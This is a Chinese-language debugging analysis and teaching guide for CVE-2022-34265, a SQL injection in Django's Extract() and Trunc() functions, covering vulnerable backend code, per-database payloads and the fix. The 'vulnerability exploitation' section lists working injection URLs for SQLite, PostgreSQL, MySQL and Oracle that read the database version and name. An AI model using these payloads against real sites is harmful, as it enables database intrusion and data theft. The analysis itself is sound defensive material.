CVE-2022-34265 Django SQL 注入漏洞调试分析
字数 1797 2025-08-26 22:11:22
Django SQL 注入漏洞(CVE-2022-34265)深度分析与教学指南
漏洞概述
CVE-2022-34265是Django框架中的一个SQL注入漏洞,影响Django的日期处理函数Extract()和Trunc()。当这些函数的参数lookup_name(Extract)或kind(Trunc)未经过滤直接由用户输入控制时,攻击者可构造恶意payload导致SQL注入攻击。
受影响版本
- 所有低于Django 3.2.14的3.2.x版本
- 所有低于Django 4.0.6的4.0.x版本
漏洞原理分析
漏洞函数介绍
Extract()函数
- 用途:提取日期的一部分作为数字
- 参数:
lookup_name指定提取的日期部分(如'year','month'等) - 示例:
Extract('year', "start_datetime")
Trunc()函数
- 用途:截断日期的某一部分,常用于数据聚合
- 参数:
kind指定截断的日期部分(如'year','month'等) - 示例:
Trunc('year', "start_datetime")
漏洞产生原因
在受影响版本中,Django ORM在处理这两个函数时:
- 直接将用户可控的
lookup_name或kind参数拼接到SQL语句中 - 未对这些参数进行充分的过滤和验证
- 不同数据库后端处理方式不同,导致漏洞表现存在差异
漏洞调试与分析
SQL注入流程
- 用户输入通过
lookup_name或kind参数传入 - Django ORM生成SQL查询时,将参数直接拼接到SQL语句中
- 恶意输入被数据库执行,导致SQL注入
各数据库后端分析
SQLite
-
Extract函数:
def datetime_extract_sql(self, lookup_type, field_name, tzname): return "django_datetime_extract('%s', %s, %s, %s)" % ( lookup_type.lower(), field_name, *self._convert_tznames_to_sql(tzname), )- 直接拼接
lookup_type(即lookup_name) - 漏洞存在
- 直接拼接
-
Trunc函数:
def datetime_trunc_sql(self, lookup_type, field_name, tzname): return "django_datetime_trunc('%s', %s, %s, %s)" % ( lookup_type.lower(), field_name, *self._convert_tznames_to_sql(tzname), )- 直接拼接
lookup_type(即kind) - 漏洞存在
- 直接拼接
PostgreSQL
-
Extract函数:
def date_extract_sql(self, lookup_type, field_name): return "EXTRACT('%s' FROM %s)" % (lookup_type, field_name)- 直接拼接
lookup_type - 漏洞存在
- 直接拼接
-
Trunc函数:
def datetime_trunc_sql(self, lookup_type, field_name, tzname): return "DATE_TRUNC('%s', %s)" % (lookup_type, field_name)- 直接拼接
lookup_type - 漏洞存在
- 直接拼接
MySQL
-
Extract函数:
def date_extract_sql(self, lookup_type, field_name): return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)- 仅将参数转为大写
- 漏洞存在
-
Trunc函数:
def datetime_trunc_sql(self, lookup_type, field_name, tzname): # 使用格式字符串处理 sql = "CAST(DATE_FORMAT(%s, '%s') AS DATETIME)" % (field_name, format_str) return sql- 使用预定义格式字符串
- 漏洞不存在
Oracle
-
Extract函数:
def date_extract_sql(self, lookup_type, field_name): return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)- 仅将参数转为大写
- 漏洞存在
-
Trunc函数:
def datetime_trunc_sql(self, lookup_type, field_name, tzname): # 使用预定义格式 sql = "TRUNC(%s, '%s')" % (field_name, lookup_type.upper()) return sql- 使用预定义格式
- 漏洞不存在
漏洞利用
通用利用条件
- 应用程序使用受影响版本的Django
- 使用
Extract()或Trunc()函数 - 函数的
lookup_name或kind参数由用户输入控制且未过滤
各数据库利用Payload示例
SQLite
- Extract盲注:
/extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=1-- + /extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=2-- + - 使用CASE WHEN进行条件查询
PostgreSQL
- Extract报错注入:
/extract/?lookup_name=year' FROM start_datetime)) OR 1=1;select cast((select version()) as numeric)-- + - Trunc注入:
/trunc/?kind=year', start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +
MySQL
- Extract报错注入:
/extract/?lookup_name=year from start_datetime)) and updatexml(1,concat(1,database()),0)-- +
Oracle
- Extract报错注入:
/extract/?lookup_name=year from start_datetime)) and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))-- +
漏洞修复
官方修复方案
Django在修复版本中:
- 在
django/db/backends/base/operations.py中添加了参数验证 - 使用正则表达式严格限制
lookup_type参数:def validate_extract_argument(argument): if not isinstance(argument, str): return False return bool(re.fullmatch(r'\w+', argument)) - 在生成SQL前验证参数合法性
修复建议
- 升级到安全版本:
- Django 3.2.14或更高
- Django 4.0.6或更高
- 如果无法立即升级:
- 对用户输入的
lookup_name和kind参数进行严格过滤 - 使用预定义的子类(如
ExtractYear代替Extract(lookup_name='year'))
- 对用户输入的
防御措施
-
输入验证:
- 严格限制
lookup_name和kind参数的取值范围 - 使用Django提供的预定义子类而非直接传递参数
- 严格限制
-
最小权限原则:
- 数据库连接使用最小必要权限
-
ORM安全实践:
- 避免直接拼接用户输入到查询中
- 使用Django提供的安全API
-
持续更新:
- 及时关注Django安全公告并更新到最新稳定版本
总结
CVE-2022-34265展示了即使在使用ORM时也可能存在SQL注入风险。该漏洞的特殊性在于:
- 影响Django核心的日期处理功能
- 不同数据库后端表现不同
- 需要特定条件才能触发
通过深入理解此漏洞,开发者可以更好地编写安全的Django应用程序,避免类似的安全问题。